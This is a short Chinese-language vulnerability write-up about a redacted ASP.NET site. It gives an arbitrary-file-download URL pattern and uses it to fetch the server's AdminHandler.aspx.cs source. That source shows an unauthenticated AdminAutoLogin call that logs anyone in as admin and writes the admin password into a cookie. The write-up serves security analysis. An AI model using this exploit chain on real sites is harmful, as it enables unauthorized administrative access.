后台: http://www.xxxxx.com/admin/login.aspx

任意文件下载: www.xxxxx.com/AjaxFile/DownLoadFile.aspx?FilePath={filename}&fileExt=file

通过后台登录界面可以看到一段js

<script type="text/javascript">
      $("#ImageKey").attr("src", "Code.aspx?dump=" + Math.random());

      $("#ButtonLogin").click(function () {
          $.ajax({
              url: "AdminHandler.aspx",
              async: false,
              type: "post",
              data: {
                  CallMethod: "AdminLogin",
                  UserName: $("#UserName").val(),
                  PassWord: $("#PassWord").val(),
                  Code: $("#Code").val()
              },
              success: function (data) {
                  if (data.indexOf("登录成功") > -1) {
                      alert("登录成功!");
                      window.location.href = "System/System.aspx";
                  }
                  else {
                      alert(data);
                      $("#Code").val("");
                      $("#ImageKey").attr("src", "Code.aspx?dump=" + Math.random());
                  }
              },
              error: function () {
                  alert("登录失败,发生服务器错误!");
                  $("#Code").val("");
                  $("#ImageKey").attr("src", "Code.aspx?dump=" + Math.random());
              }
          });
      });
  </script>


通过任意文件下载漏洞下载AdminHandler.aspx.cs源码

主要部分

public partial class Admin_AdminHandler : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        string CallMethod = Request["CallMethod"];

        string responsemessage = string.Empty;

        switch (CallMethod)
        {
            case "AdminLogin":
                responsemessage = AdminLogin();
                break;
            case "AdminAutoLogin":
                responsemessage = AdminAutoLogin();
                break;
            default:
                break;
        }
        Response.Write(!string.IsNullOrEmpty(responsemessage) ? responsemessage : "未请求到信息!");
    }

    //在本地自动登录
    protected string AdminAutoLogin()
    {
        string LoginName = "admin";
        if (ManagerBLL.CheckManagerByName(LoginName))
        {
            Manager adminU = ManagerBLL.GetManagerByUserName(LoginName);
            HttpCookie cookie = new HttpCookie("AdminUserName"); // 创建一个名为AdminUserName的cookie
            cookie.Expires = DateTime.Now.AddHours(5); // 设置该cookie的有效时间
            cookie.Value = Re.replace(adminU.LoginName); // 给cookie赋值(也就是你想保存的账号,或者密码)
            HttpContext.Current.Response.Cookies.Add(cookie);

            HttpCookie cookie2 = new HttpCookie("AdminUserPwd"); // 创建一个名为AdminUserPwd的cookie
            cookie2.Expires = DateTime.Now.AddHours(5); // 设置该cookie的有效时间
            cookie2.Value = adminU.LoginPwd; // 给cookie赋值(也就是你想保存的账号,或者密码)              
            HttpContext.Current.Response.Cookies.Add(cookie2);
            return "登录成功";
        }
        else {
            return "未找到admin角色!";
        }
    }

     //登录
    public string AdminLogin()
    {
        // 非主要 略.
     }

}

通过上面的一段js,可以看到登录的时候,通过ajaxAdminHandler.aspx发了一个post包 为 CallMethod: AdminLogin

继续看.net代码

判断接收到的参数,然后调用对应的函数

这里AdminLogin 不能看到ManagerBLL, 所以无法构造sql注入语句(故不再纠结这地方)

但是AdminAutoLogin…………我不明白为什么要把LoginName作为一个变量(可能是测试的时候忘记删掉了)……这个程序员…….很强。

这个函数没有进行任何认证, 一鼓作气的登录成功!

抓包

改包 发包